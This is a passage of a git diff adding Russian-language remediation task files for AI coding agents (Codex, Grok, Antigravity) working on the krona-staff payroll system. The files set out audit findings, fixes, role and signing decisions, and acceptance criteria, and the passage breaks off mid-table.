`staff.payroll.package_signed` | Бухгалтеру; сотрудникам из пакета | Сотрудникам — только «начисление за период доступно», без сумм в тексте; суммы видны лишь в приложении | + +- Основной канал — push в приложении. Если push не доставлен (нет подписки или ошибка), руководителю уходит сообщение в Telegram — без персональных данных и сумм. +- Если пакет не подписан за настраиваемое время (по умолчанию 24 ч), руководителю приходит повторное напоминание. +- Адресат определяется по роли и арендатору, а не по фиксированному списку: при смене руководителя оповещения получает новый. + +**Готово, когда** на живом стенде отправка пакета даёт ровно одно оповещение каждому руководителю, а перезапуск сервера его не дублирует. Сотрудник получает уведомление без сумм и только после подписи. + +## Часть 4 — публикатор outbox + +| ID | Что сделать | Где | Готово, когда | +| ------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- | +| F6, D7 | Заменить `setImmediate` фоновым публикатором. Он повторяет строки в `pending` и `failed`, ставит `published_at`, обеспечивает идемпотентность у получателя через inbox и соблюдает политику хранения. Альтернатива — убрать из `module.json` события, которые никто не публикует | `src/portal.ts:830-842`, `push-dispatcher.ts:333-367`, `module.json` | После перезапуска сервера неотправленные события уходят; `staff_outbox` не растёт бесконечно | + +## Порядок работы с остальными + +1. **Сразу:** часть 0. +2. **Параллельно с этапами 1–3 у Codex:** части 1 и 2. Часть S6 делай после того, как Codex сообщит, что влит общий хелпер outbox (K3). +3. **После этапа 4 у Codex** (события пакета): часть 3. +4. **Часть 4** — в любой момент после K3. + +## Отчёт после каждой части + +Таблица «ID — что сделано — коммит — тест» и список того, что не удалось, с причиной. diff --git a/docs/audit/2026-09-26/TASK-CODEX.md b/docs/audit/2026-09-26/TASK-CODEX.md new file mode 100644 index 0000000..6fc556d --- /dev/null +++ b/docs/audit/2026-09-26/TASK-CODEX.md @@ -0,0 +1,219 @@ +# Задание для Codex: исправления по аудиту и решения владельца + +- Репозиторий: https://git.ochenstarik.ru/ochenstarik/krona-staff +- Основа: ветка `codex/bootstrap-platform-foundation`, коммит `778ba2d` +- Материалы в репозитории: `docs/audit/2026-09-26/` — `AUDIT.md` (полный аудит) и `evidence/` (сценарии живой проверки и их вывод). Идентификаторы K, N, D, T, A, F ниже — из аудита. + +## Контекст + +Аудит на живой PostgreSQL 17 показал: + +- на реальной базе не работают создание сотрудника, подтверждение смены, расчёт и утверждение зарплаты — везде 500; +- без токенов сервер открыт всем; +- одна смена может быть оплачена трижды; +- утверждённую смену можно отклонить задним числом без сторно; +- импорт из Excel теряет суммы; +- отметки терминала не доходят до сервера. + +Юнит-тесты при этом зелёные, потому что работают на поддельной базе. + +## Зона ответственности + +**Твоя зона:** + +- сервер: авторизация, сотрудники, смены, расчёт, импорт, выплаты, процесс подтверждения; +- база и миграции; +- развёртывание пилота; +- портал; +- Windows-терминал, служба и установщик; +- мобильное приложение в части экранов согласия и подписи. + +**Не трогай:** + +- `src/domain/notification/**`, маршруты `/push/*`, диспетчер и публикатор outbox — это Antigravity; +- `src/sync.ts`, `src/domain/sync/**`, миграцию `0011` — это тоже Antigravity; +- `tests/e2e/**`, `tests/integration/tenant-isolation.test.ts`, `.forgejo/workflows/ci.yml` — это Grok. + +Если нужна правка в чужой зоне, попроси исполнителя. + +**Общий хелпер вставки в outbox** (задача K3) делаешь ты. Antigravity будет пользоваться им для своих событий, поэтому сделай его первым и сообщи, когда он влит. + +## Правила + +- Ветки `codex/fix-<тема>` от основной, отдельный PR на каждый этап. +- Маленькие коммиты. **В теле каждого коммита объясни причину** (AGENTS.md). Сейчас у 40 последних коммитов тела нет. +- Перед пушем должны быть зелёными `npm run check` и `npm run format:check`. +- Каждое исправление SQL или маршрута сопровождай интеграционным тестом **на настоящей PostgreSQL** (переменная `DATABASE_TEST_URL`, роль приложения `krona_staff_app`). Тесты на `fakeDatabase` подтверждением не считаются. +- Пункт считается закрытым, только когда соответствующий сценарий из `evidence/live-audit.mjs.txt` перестаёт воспроизводить дефект. Каждый пункт независимо перепроверит Grok. +- Реальные ФИО и суммы из книги владельца в тесты и фикстуры не копировать. +- Миграции проверяй вверх и вниз на чистой PostgreSQL 17 мигратором без SUPERUSER. + +## Решения владельца + +**Роли.** + +| Роль | Может | Не может | +| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- | +| Руководитель | Всё по всем точкам. Просматривает пакет на подтверждение, подписывает или возвращает его. **Проводит оплаты:** только его подпись регистрирует начисления и выплаты | — | +| Бухгалтер | Просмотр по всем точкам, расчёт, ведомость выплат, **отправка пакета на подтверждение**, выгрузки | Подписывать; регистрировать начисления и выплаты; менять правила оплаты и смены | +| Управляющий | Сотрудники, смены, выручка и черновик расчёта **по своим точкам** | Отправлять на подтверждение, подписывать, выплачивать; видеть данные чужих точек | +| Сотрудник | Только свои смены, начисления, выплаты и остаток | Всё остальное | + +**Точки.** + +- У каждого сотрудника и управляющего есть основная точка и дополнительные, в том числе временные (подмена), с датами действия. +- Работать на другой точке можно. Смена относится к точке, где она отработана, и считается по правилам и фонду этой точки. + +**Процесс оплаты.** Бухгалтер отправляет пакет на подтверждение, руководитель получает оповещение, проверяет, подписывает — и всё регистрируется. + +**Согласие.** Согласие на обработку персональных данных и биометрии обязательно. Сотрудник подтверждает его в мобильном приложении при авторизации. + +## Этап 0 — форматирование (первым коммитом, до всех остальных) + +Одним коммитом выполни `npm run format` по всему репозиторию (сейчас 16 файлов не проходят проверку). Коммит сделай до того, как остальные исполнители начнут работу, чтобы не было конфликтов. + +## Этап 1 — разблокировать работу на реальной базе (сегодня) + +| ID | Что сделать | Где | Готово, когда | +| ------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | +| K3 (N2) | Во вставках в `staff_outbox` нет `occurred_at`, а столбец `NOT NULL` без значения по умолчанию. Вынеси вставку в один общий хелпер outbox, который всегда заполняет время, и замени им все вставки | `src/portal.ts:1145-1163`, `src/domain/payroll/service.ts:770-784`, `917-935`; эталон — `src/portal.ts:810-823` | Подтверждение смены, расчёт и утверждение отвечают 200 на живой базе; тест на PostgreSQL | +| K4 (N1) | Параметр `$2` выводится PostgreSQL как `text` и как `varchar` (ошибка `42P08`). Добавь явные приведения или вынеси поиск профессии в отдельный запрос | `src/portal.ts:465-483` | `POST /employees` → 201 на живой базе; тест на PostgreSQL | +| — | Проверь остальные запросы на тот же дефект: один `$N` в разных типах | весь `src/` | — | + +## Этап 2 — закрыть открытый доступ и привести пилот в порядок + +| ID | Что сделать | Где | Готово, когда | +| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | +| K1 (F2, P0) | Без токенов сейчас любой анонимный запрос получает права `STANDALONE_ACCESS`. Сделай fail-closed: сервер не стартует без токенов, если `HOST` не loopback. Во всех compose токены и пароли — через `${VAR:?}` | `src/adapters/identity.ts:32-49`, `src/config.ts:45-47`, `compose.yaml`, `deploy/pilot/compose.yaml:14-15` | Запуск без токенов на `0.0.0.0` падает с понятной ошибкой; анонимный `GET /portal` → 401 | +| K2 (F1, P0) | Пилот работает с `NODE_ENV=development`, чтобы обойти запрет standalone в production. Сделай явный профиль `pilot`: обязательные токены и HTTPS, никакого development-поведения. Платформенный JWT — отдельной задачей, когда будет контракт Core | `deploy/pilot/compose.yaml:8`, `compose.yaml:5`, `src/config.ts:51-66` | В пилотном compose нет `NODE_ENV=development`; проверки `loadConfig` действуют | +| K10 (F3) | Серверные сессии: в cookie — случайный идентификатор, в базе — хеш, срок жизни, отзыв при выходе и при смене ключа. Токену сотрудника — срок жизни | `src/portal.ts:262-276` | После `DELETE /session` старая cookie → 401 | +| K11 (F4, A2) | Ограничение частоты по IP на `/session` и на неуспешную аутентификацию. Для заведомо неверного токена не открывать транзакцию в БД: пул всего на 10 соединений | `src/portal.ts:1276-1296`, `src/infrastructure/database.ts:9` | 60 неверных входов подряд дают 429 | +| A4 | Глобальный обработчик ошибок: при 5xx — общий текст и correlation id, детали только в лог | `src/app.ts` | В ответе 500 нет кода и текста ошибки PostgreSQL | +| F10, A6 | Проверку Origin для мутаций по cookie сделать fail-closed. Пропускать её только при `Authorization: Bearer` | `src/portal.ts:1359-1374` | Мутация по cookie без Origin → 403 | +| A5, A7, A9 | Аутентификацию делать до валидации тела; `/openapi.json` — только менеджеру или в dev. `no-store` на выдаче токена сотрудника. Correlation id от клиента хранить отдельно от серверного | `src/portal.ts:734`, `src/app.ts` | — | +| D13 | Лишние поля в теле запроса отклонять ответом 400 (`removeAdditional: false`), а не удалять молча, как сейчас | `src/app.ts` | Поведение совпадает с `additionalProperties: false` в OpenAPI | +| K18 (P1) | Резервное копирование пилота: `pg_dump -Fc` по расписанию, шифрование, копия вне хоста, срок хранения. Бэкап перед каждой миграцией в `setup.sh`. Провести restore drill и записать результат | `deploy/pilot/`, `docs/BACKUP-RESTORE.md` | Есть скрипт, расписание и протокол успешного восстановления | +| N6 | Задавать атрибуты роли только в `CREATE ROLE`, затем `ALTER ROLE … PASSWORD`, затем проверять `rolsuper` и `rolbypassrls` и при нарушении отказывать | `scripts/create-app-role.mjs:19`, `docker/postgres/init-app-role.sh:17` | Скрипт работает мигратором без SUPERUSER | +| N7 | Пиннинг сертификата вместо отключения проверки TLS; токен только из переменной окружения; убрать поле `code` из тела `/professions` | `scripts/import-owner-workbook.py:241, 255, 278` | — | +| F9 | Healthcheck образа по HTTPS | `Dockerfile:21` | — | +| D3 | TLS пилота: локальный CA, установленный на устройства, или домен с ACME; пиннинг SPKI или CA вместо листового сертификата; ключ не хранить незашифрованным рядом с pfx; runbook продления | `deploy/pilot/setup.sh:37-47` | На телефоне сотрудника регистрируется service worker (иначе PWA и push не работают) | +| D4, D11, D12 | Образы с тегами и возможность отката; `lock_timeout` в миграциях; миграции не от root и без dev-зависимостей; smoke-тест проверяет коды ответов и не пишет в боевую базу | `deploy/pilot/setup.sh`, `scripts/migrate.mjs`, `deploy/pilot/smoke-test.sh` | — | +| D9, D10, D14, D15 | Лимиты памяти, CPU и числа процессов, `cap_drop`, ротация логов; `.dockerignore` для `**/.env` и `deploy/pilot/secrets`; `redact` в логгере, ошибки пула — через pino; безопасные значения по умолчанию в корневом compose | compose-файлы, `.dockerignore`, `src/app.ts:42`, `src/infrastructure/database.ts` | — | + +## Этап 3 — денежная логика (до первого боевого расчёта) + +| ID | Что сделать | Где | Готово, когда | +| -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- | +| K5 (N4) | Каждая смена начисляется ровно один раз: `session_id` в строке ведомости и уникальность среди неаннулированных ведомостей (или exclusion constraint на пересечение периодов, включая сочетание «одна точка» и «все точки»). При пересчёте обновлять `period_end` | `src/domain/payroll/service.ts:425-454, 759-768, 860-903`; индексы `migrations/0006:196-199` | Три пересекающихся расчёта дают одно начисление 2 400 ₽ или 409 (сейчас 7 200 ₽) | +| K6 (D5) | Смены и строки ведомости после подписи неизменяемы на уровне БД: триггер или политика, у роли приложения нет DELETE и UPDATE. Исправление — только сторнирующей записью | `src/portal.ts:1024-1106`, `migrations/0006:296-300` | Отклонение оплаченной смены → 409 или создаётся сторно | +| K7 (D2) | Импорт считает предыдущую сумму по всем записям дня, а пишет по точному ключу — суммы теряются. Считать по точному `external_key`, корректировку писать с отдельным ключом ревизии | `src/operations.ts:1017-1052`, `scripts/import-owner-workbook.py:147, 168, 176` | Две точки в один день и повторный импорт с изменённой суммой дают верный итог; тест | +| K8 (D1) | Сделать версии правил настоящими: v1 неизменяема, любое изменение создаёт новую версию, учитываются даты действия правил и условий точки. В строке ведомости хранить JSON дерева правила, версию, id назначения, id и ревизию смены | `service.ts:152-180, 517-529, 686-695` | Подписанную ведомость можно пересчитать и получить то же число; тест | +| K9 (D3) | Сохранять произвольные параметры из `param_declarations` со значениями по умолчанию. Загружать все метрики и позиции, которые требует дерево правила | `service.ts:295-299, 488-500`, `src/portal-ui.ts` | Пресеты «официант» и «премия за порог выручки» дают ожидаемые суммы (сейчас 0 ₽); тест | +| N12, D9 | Ограничить ставки сверху (не больше 10¹² коп.), проверять `Number.isSafeInteger` и реальность даты и месяца | `src/operations.ts:560-585, 665-671` | `rate_minor = 1e20` → 400; месяц `2026-13` → 400 (сейчас 200 и 500) | +| N11 | Строгая схема импорта: `kind` из списка, знак выплаты, обязательные строки | `src/operations.ts:776-812, 1168-1210` | Некорректный импорт → 400, а не 500 | +| N13, N14 | Первый расчёт периода без гонки (`ON CONFLICT … RETURNING` или advisory lock). GET-запросы не пишут в базу; начальные правила создаются один раз | `service.ts:152-180, 446-454` | — | +| F7 | `Idempotency-Key` для расчёта, отправки, подписи, импорта и выплат | — | Повтор с тем же ключом не создаёт дублей | +| D7, F12 | Остаток округления фонда не выплачивается сверх фонда. Деньги в расчётах — `bigint` или проверенные безопасные целые | `src/domain/payroll/calculator.ts` | — | + +## Этап 4 — роли, точки, подтверждение и согласие (решения владельца) + +### 4.1 Роли и точки + +- Роли — по таблице в разделе «Решения владельца». Права проверяются на сервере в каждом запросе, включая расчёт и выгрузки. Интерфейс только прячет недоступное. +- Привязки «человек — точка» хранить в отдельной таблице с датами действия: одна основная точка и сколько угодно дополнительных, в том числе временных. +- Управляющий видит и подтверждает смены всех, кто работал на его точке, включая приходящих. Их начисления на других точках он не видит. +- В режиме `standalone` роль и список точек задаются при выдаче доступа (через серверные сессии из K10). В режиме `platform` они берутся из прав Core. +- Каждое действие пишется в журнал аудита с конкретным человеком. Сейчас все менеджеры записываются одним `STANDALONE_ACTOR_ID` (A8). + +### 4.2 Подтверждение и оплата + +``` +Бухгалтер: расчёт → ведомость выплат → «Отправить на подтверждение» + ↓ оповещение руководителю (делает Antigravity) +Руководитель: просмотр пакета → «Подписать» или «Вернуть с комментарием» + ↓ подпись +Система: начисления и выплаты регистрируются в реестре, пакет и его смены + становятся неизменяемыми; бухгалтеру и сотрудникам уходят оповещения +``` + +- **Пакет** — расчётная ведомость за период и ведомость выплат (выплат может не быть). Руководитель подписывает весь пакет одной подписью. +- **Статусы пакета:** `draft → calculated → submitted → signed`; возврат: `submitted → returned → calculated`. +- **Отправка** фиксирует снимок пакета: строки, итоги, предупреждения расчёта и хеш содержимого. + - Если после отправки изменились данные пакета (смена, выручка, ставка, правило), отправка отменяется. Пакет возвращается бухгалтеру с пометкой «данные изменились». + - Подписать устаревший пакет нельзя (закрывает D4). +- **Экран руководителя** в портале, позже и в приложении. На нём: + - итоги по точкам и сотрудникам и сравнение с прошлым периодом; + - все предупреждения: нет выручки, нет профиля оплаты, аномальные смены, выплата больше остатка; + - расшифровка любой строки. + + Сотрудник без профиля оплаты блокирует подпись, а не выпадает из фонда молча. Руководитель пакет не редактирует — только подписывает или возвращает. + +- **Подпись** — простая электронная. В момент подписи руководитель повторно подтверждает личность: в приложении PIN или биометрией телефона, в портале паролем. + - Сохраняется: кто, когда, устройство, IP, хеш подписанного снимка и версия соглашения об электронной подписи. + - Подписывает только роль «Руководитель». Бухгалтер не может подписать свой пакет, даже если у него есть обе роли. +- **Регистрация при подписи** идёт одной транзакцией: + - начисления и выплаты записываются в реестр идемпотентно по пакету; + - пакет и его смены становятся неизменяемыми (K6); + - в outbox через общий хелпер записываются события `staff.payroll.package_submitted`, `staff.payroll.package_returned`, `staff.payroll.package_signed`. Оповещения по ним делает Antigravity. +- **Возврат** — только с обязательным комментарием. Бухгалтер правит данные и отправляет новую версию пакета. История версий и комментариев сохраняется. +- **Выплаты только через подпись.** Закрыть ручные выплаты в обход подписи, включая импорт. Импорт исторических выплат из Excel — отдельная операция, которую тоже подписывает руководитель. +- **API:** отправить, вернуть, подписать, история пакета. Добавь эти маршруты в OpenAPI. + +### 4.3 Согласие + +**Сервер.** + +- Журнал согласий только на вставку: сотрудник, вид согласия, версия документа, хеш текста, время по серверу, устройство, IP, способ подписания, время отзыва. +- Три отдельных вида согласия: обработка персональных данных, **биометрия**, передача оповещений через иностранные мессенджеры (Telegram). +- API: текущие версии документов, принять, отозвать, статус по сотруднику (для терминала). +- Тексты хранятся в базе с версиями, чтобы менять их без релиза. Новая версия текста требует повторного согласия при следующем входе. + +**Приложение сотрудника** (дополнение к `docs/APP-CORE.md`). + +- После приглашения и установки пароля и PIN — обязательный экран согласий, до входа в кабинет. +- Без согласия на обработку ПДн дальше не пустит. Без согласия на биометрию кабинет работает, но отпечаток зарегистрировать нельзя. +- В профиле — подписанные версии и кнопка отзыва. + +**Без смартфона.** Управляющий отмечает бумажное согласие в кабинете и прикладывает скан; отметка идёт в журнал аудита. + +**Юридически.** Для биометрии закон требует письменной формы. Электронное согласие равнозначно письменному, если подписано электронной подписью (в том числе простой) и есть соглашение о её использовании. Тексты согласий и соглашения готовит юрист; в коде предусмотри только их подстановку. + +Этап 4 готов, когда на живой базе: + +- управляющий точки А получает 403 на расчёт точки Б и на отправку пакета; +- бухгалтер отправляет пакет, но при попытке подписать получает 403; +- начисления и выплаты появляются в реестре только после подписи руководителя; +- изменение смены после отправки не даёт подписать пакет; +- возврат с комментарием возвращает пакет бухгалтеру; +- смена сотрудника точки А, отработанная на точке Б, попадает в расчёт точки Б; +- без согласия на биометрию сервер отвечает терминалу «регистрация запрещена». + +## Этап 5 — терминал и служба + +| ID | Что сделать | Где | Готово, когда | +| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------- | +| K14 (T4, P1) | Терминал создаёт сотрудников со своими ULID, сервер их не знает и отвечает 404, отметки повторяются бесконечно. Нужна синхронизация справочника сотрудников с сервера или передача `personnel_number`. Привести `docs/TERMINAL-API-REQUIREMENTS.md` к фактическому контракту; поля, которых нет в схеме сервера, добавить на сервере или не отправлять | `apps/KronaStaffTerminal/MainPage.xaml.cs:479-492`, `Models/TerminalModels.cs:157` | Отметка с терминала появляется на сервере; бесконечных повторов нет | +| K15 (T1, P1) | Служба создаёт pipe `global\KronaStaffTerminalPipe`, клиент подключается к `KronaStaffTerminalPipe`, поэтому IPC не работает (проверено запуском). Нужно: одно имя; `PipeOptions.FirstPipeInstance`; проверка клиентом, что сервер — процесс службы или SYSTEM; `TokenImpersonationLevel.Identification`; интеграционный тест на реальном pipe | `apps/KronaStaffTerminal/Services/TerminalIpc.cs:84, 236` | Клиент подключается к службе; посторонний процесс не может занять имя | +| K16 (T2, P1) | Служба от LocalSystem выдаёт операторам полный доступ к каталогу данных и сама меняет в нём ACL и ротирует логи — путь к SYSTEM через junction. Данные службы и логи — только для SYSTEM и Администраторов, с проверкой reparse-точек. Интерфейс работает через IPC. Служба — под виртуальной учётной записью | `Services/TerminalStore.cs:305-360`, `Services/CrashLogService.cs:331-371`, `installer/KronaStaffTerminal.nsi:119` | — | +| K17 (T5) | Регистрация отпечатка разрешена только при действующем согласии на биометрию (статус с сервера, кэшируется для офлайна). При отзыве согласия, блокировке и увольнении шаблоны удаляются на следующей синхронизации, включая `.bak1-3` и `*.corrupt-*` | `MainPage.xaml.cs:685-776`, `TerminalStore.cs:96-100, 376-384` | Без согласия регистрация недоступна; после отзыва шаблонов нет ни в одном файле | +| T3, T6 | Единственный писатель файла состояния — служба (или межпроцессная блокировка с перечитыванием). Секреты недоступны группе операторов | `KronaStaffWorker.cs:375-393`, `TerminalStore.cs:164, 263, 325-351` | — | +| T7, T8 | Установщик: ACL на каталог установки; владелец каталога данных — Администраторы; терминал не запускается с повышенными правами ни после установки, ни после обновления | `installer/KronaStaffTerminal.nsi:49, 56, 110-111`; `MainPage.xaml.cs:1529-1530` | — | +| T9, T10 | Проверенный файл обновления держать открытым с запретом записи или копировать в каталог только для администраторов. Токен обновлений с узкими правами. `libzkfp.dll` загружать по абсолютному пути | `Services/UpdateService.cs:118-127, 200-212`; `FingerprintScanner.cs:605-617` | — | +| D5 | Скрипт настройки терминала пишет в `%ProgramData%` с DPAPI LocalMachine | `deploy/pilot/configure-terminal-pilot.ps1:11, 24-27, 43` | — | +| T11–T13 | Ограничить IPC до проверки HMAC; добавить backoff в синхронизацию; уведомлять об откате к резервной копии; ввести порог совпадения отпечатка | — | — | + +## Этап 6 — портал и документация + +- W1: маршрут `/staff/*` отвечает 200 и HTML на любой путь (`src/app.ts:146`). Оставить явный список разделов, остальное — 404. +- D8: привести к коду `ARCHITECTURE.md`, `ROADMAP.md`, `PLATFORM-INTEGRATION.md`, `README.md`, `.env.example` и `SECURITY.md`. `AUDIT-REMEDIATION-2026-09-18.md` пометить устаревшим. + +## Порядок работы с остальными + +1. **Сразу:** этап 0 и этап 1. Как только общий хелпер outbox из K3 влит, сообщи Antigravity. +2. **Параллельно:** этапы 2 и 3. Antigravity в это время исправляет синхронизацию и push, Grok строит тестовый контур. +3. **Этап 4.** События пакета нужны Antigravity для оповещений. Согласие нужно этапу 5. +4. **Этап 5:** K14 и K15 можно начинать сразу после этапа 1; K17 — после серверной части согласия. + +## Отчёт после каждого этапа + +Таблица «ID — что сделано — коммит — тест» и список того, что не удалось, с причиной. diff --git a/docs/audit/2026-09-26/TASK-GROK-2.md b/docs/audit/2026-09-26/TASK-GROK-2.md new file mode 100644 index 0000000..5699e2f --- /dev/null +++ b/docs/audit/2026-09-26/TASK-GROK-2.md @@ -0,0 +1,93 @@ +# Задание для Grok, круг 2: Windows, сопоставление ID, недостающие сценарии, приёмка + +- Репозиторий: https://git.ochenstarik.ru/ochenstarik/krona-staff +- Основа: текущая основная ветка `codex/bootstrap-platform-foundation` (`331e490`) и твоя ветка `grok/e2e-harness` (`421da72`) +- Полный аудит владельца теперь в репозитории: `docs/audit/2026-09-26/AUDIT.md`; таблица соответствия ID ниже дублирует главное. + +## Итог приёмки прошлого круга + +Ветку `grok/e2e-harness` проверили на живой PostgreSQL 17.10. Вердикт: **принять после правок из пункта 1**. + +**Что сделано хорошо:** + +- Зона соблюдена: код продукта не тронут. +- Все коммиты с объяснением причины. +- Прогон дал ровно те же 38 красных и 9 зелёных сценариев, что в твоём отчёте. +- Логика `known-defects.json` верная. +- SYNC-C0 — настоящая находка, которой не было в аудите владельца: начальная загрузка синхронизации на реальной базе отвечает 500 (`column "status" does not exist`). +- Перекрёстная проверка: исправление Antigravity (`antigravity/fix-reject-device-shifts`) на твоих сценариях переводит SYNC-A и SYNC-B в зелёные. + +**Что не так:** + +1. **Под Windows стенд не запускается** (проект разрабатывается под Windows). Все три места падают с `ENOENT`, потому что в Windows это `.cmd`: + - `scripts/test/run-e2e.mjs:35` — `spawn('npx', …)`; + - `tests/e2e/harness/global-setup.ts:67` — `spawn(node_modules/.bin/tsx, …)`; + - `scripts/test/n13-race.mjs:102` — то же, что в предыдущем пункте. +2. **ID аудита владельца не сопоставлены** — таблица ниже. +3. **`tests/e2e/evidence/` коммитится в репозиторий** и будет меняться при каждом прогоне. + +## Правила — как раньше + +- Ветка `grok/e2e-harness` (дописывай в неё), маленькие коммиты с причиной в теле. +- Твоя зона: `tests/e2e/**`, `tests/integration/**` (только очистка и стенд), `.forgejo/workflows/ci.yml`, `scripts/test/**`. +- `src/`, `apps/`, `migrations/`, `deploy/` не трогать. Нужна правка продукта — пиши в `tests/e2e/NOTES-FOR-EXECUTORS.md`. + +## 1. Правки, без которых ветку не влить (сегодня) + +| Что сделать | Готово, когда | +| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- | +| Запуск без `.cmd`-обёрток: `spawn(process.execPath, [<путь к tsx/dist/cli.mjs>, 'src/server.ts'])`, vitest — через `process.execPath` и его `vitest.mjs`, либо `shell: true` на `win32`. Добавить в CI проверку запуска на Windows, если есть раннер; если нет — записать это в REPORT | `node scripts/test/run-e2e.mjs` работает на Windows 11 с Node 22+ без правок | +| `tests/e2e/evidence/` убрать из git и добавить в `.gitignore`. Результаты прогона — артефакт CI. В репозитории оставить `REPORT.md` и таблицу | Повторный прогон не меняет отслеживаемые файлы | +| Перебазировать ветку на `331e490` | Вливается без конфликтов | + +## 2. Сопоставление с ID аудита владельца + +Переименуй теги в названиях сценариев в формат `[K3/N2]`, а ключи в `known-defects.json` — в двойные. + +| ID владельца | Твой сценарий | Суть | +| -------------------------- | -------------- | ----------------------------------------------------------------------------------- | +| K1 | F2 | Без токенов анонимный запрос получает права | +| K3 | N2 | Вставка в outbox без `occurred_at`: подтверждение, расчёт, утверждение падают с 500 | +| K4 | N1 | `POST /employees` падает с 500 (`42P08`) | +| K5 | N4 | Пересекающиеся расчёты начисляют смену повторно | +| K10 | F3 | Сырой токен в cookie, выход не отзывает сессию | +| K11 | F4 | Нет ограничения частоты | +| K12 | N3 | SSRF через push-подписку | +| K13 (S1) | SYNC-A, SYNC-B | Устройство создаёт подтверждённые смены и табель | +| S2 | SYNC-J | Отметка задним числом через синхронизацию | +| S3 | SYNC-G | Одна битая команда откатывает пакет | +| S4 | SYNC-E, SYNC-F | Лишние данные на устройство, отметки уволенных, чужая точка | +| S5 | SYNC-C, SYNC-D | Курсор теряет изменения | +| S8 | SYNC-H | CSRF на управлении устройствами | +| K19 (D4) | OWN-07 | Подпись устаревшего пакета | +| D6 | OWN-01, OWN-02 | Управляющий вне своих точек | +| K17 | OWN-10, OWN-11 | Согласие на биометрию | +| N9, N10, N11, N12, F7, F10 | те же | — | + +## 3. Недостающие сценарии + +Все проверяют правильное поведение. Сейчас они красные — внеси их в `known-defects.json`. + +| ID владельца | Сценарий | Ожидаемое поведение | +| ------------ | ----------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- | +| K6 (D5) | Подтверждённую смену включают в расчёт, руководитель подписывает, затем смену отклоняют | 409 или создаётся сторнирующая запись. Сейчас: 200, сторно нет, начисление остаётся | +| K7 (D2) | Импорт книги: начисления за один день на двух точках, затем повторный импорт с изменённой суммой | Итог в реестре равен сумме по книге. Сейчас теряется: вторая точка пишется как отрицательная корректировка, изменение суммы пропадает | +| K8 (D1) | Расчёт подписан, затем меняется правило оплаты или ставка, затем подписанную ведомость пересчитывают для проверки | Сумма та же, что в подписанной ведомости | +| K9 (D3) | Сотрудник с пресетом «официант» (оклад смены, процент от личных продаж, допродажи, премия за средний чек) | Начисление по параметрам пресета. Сейчас 0 ₽: сохраняются только ставка, процент и гарантия | +| S9 | Удаление точки, к которой привязано устройство синхронизации | Точка удалена или получен понятный отказ. Сейчас 500, `23502 null value in column "tenant_id"` | +| A4 | Любой ответ 500 | Без кода и текста ошибки PostgreSQL в теле. Сейчас наружу уходят, например, `42P08` и `23502` с текстом | +| N12-дата | Расчёт с `month = 2026-13` | 400. Сейчас 500 | + +## 4. Приёмка + +1. **Ветка Antigravity `antigravity/fix-reject-device-shifts`.** После того как Antigravity исправит очистку в `sync-rejection.test.ts` и ветку вольют, убери SYNC-A и SYNC-B из `known-defects.json` отдельным коммитом. +2. **Ветки Codex `codex/fix-format-baseline` и `codex/fix-live-database`** (этапы 0 и 1: форматирование, K3, K4). Прогони стенд на каждой и дай таблицу «ID — было — стало — доказательство». Если K3 и K4 зелёные, убери их из списка известных дефектов после влития. +3. **Дальше** — каждая новая ветка Codex и Antigravity, по той же схеме. На слово ничего не принимать. + +## Порядок + +Пункт 1 → пункт 2 → пункт 3. Приёмку из пункта 4 веди параллельно, по мере появления веток. + +## Отчёт + +Обновлённый `tests/e2e/REPORT.md`: что изменилось, таблица «ID владельца / твой ID — цвет — фактический вывод», приёмочные таблицы по веткам исполнителей. diff --git a/docs/audit/2026-09-26/TASK-GROK.md b/docs/audit/2026-09-26/TASK-GROK.md new file mode 100644 index 0000000..395112b --- /dev/null +++ b/docs/audit/2026-09-26/TASK-GROK.md @@ -0,0 +1,84 @@ +# Задание для Grok: тестовый контур на живой базе и независимая приёмка + +- Репозиторий: https://git.ochenstarik.ru/ochenstarik/krona-staff +- Основа: ветка `codex/bootstrap-platform-foundation`, коммит `778ba2d` +- Материалы в репозитории: `docs/audit/2026-09-26/` — `AUDIT.md` и `evidence/` со сценариями живой проверки и их выводом. + +## Контекст + +`AUDIT.md` сверен с твоим аудитом `2026-09-26_full-project-audit_grok_3e20544.md`. Итог сверки: + +- 22 находки подтверждены; +- 4 подтверждены частично (F8, F11, N7, N10); +- 1 уже исправлена (F5); +- 1 не воспроизвелась (N13). + +После твоего аудита в основную ветку влиты офлайн-синхронизация и новое оформление портала. Находки по синхронизации (S1–S9) в `AUDIT.md` уже учтены. + +Главный урок: 156 зелёных тестов на поддельной базе не заметили, что создание сотрудника, подтверждение смены и расчёт зарплаты на реальной PostgreSQL всегда падают. + +## Твоя роль + +Продукт ты не исправляешь — это делают Codex и Antigravity. + +От тебя нужно две вещи: + +- построить тестовый контур, который ловит дефекты на настоящей базе; +- независимо принимать каждое исправление. + +## Зона ответственности + +**Твоя зона:** + +- `tests/e2e/**` — новый набор сквозных сценариев: живой сервер на живой PostgreSQL; +- `tests/integration/tenant-isolation.test.ts`; +- `.forgejo/workflows/ci.yml` и вспомогательные скрипты для тестов. + +**Не трогай:** `src/`, `apps/`, `migrations/`, `deploy/`. Это зоны Codex и Antigravity. Если тесту нужна правка продукта, оставь замечание исполнителю. + +## Правила + +- Ветка `grok/e2e-harness`, маленькие коммиты. В теле каждого коммита объясни причину (AGENTS.md). +- Токены и ключи в тестах генерируй случайно. Реальные ФИО и суммы не используй. +- К каждому выводу прикладывай команду и фактический вывод. То, что не удалось проверить, помечай «не проверено» явно, как ты уже делаешь. + +## Задачи + +| № | Что сделать | Готово, когда | +| --- | 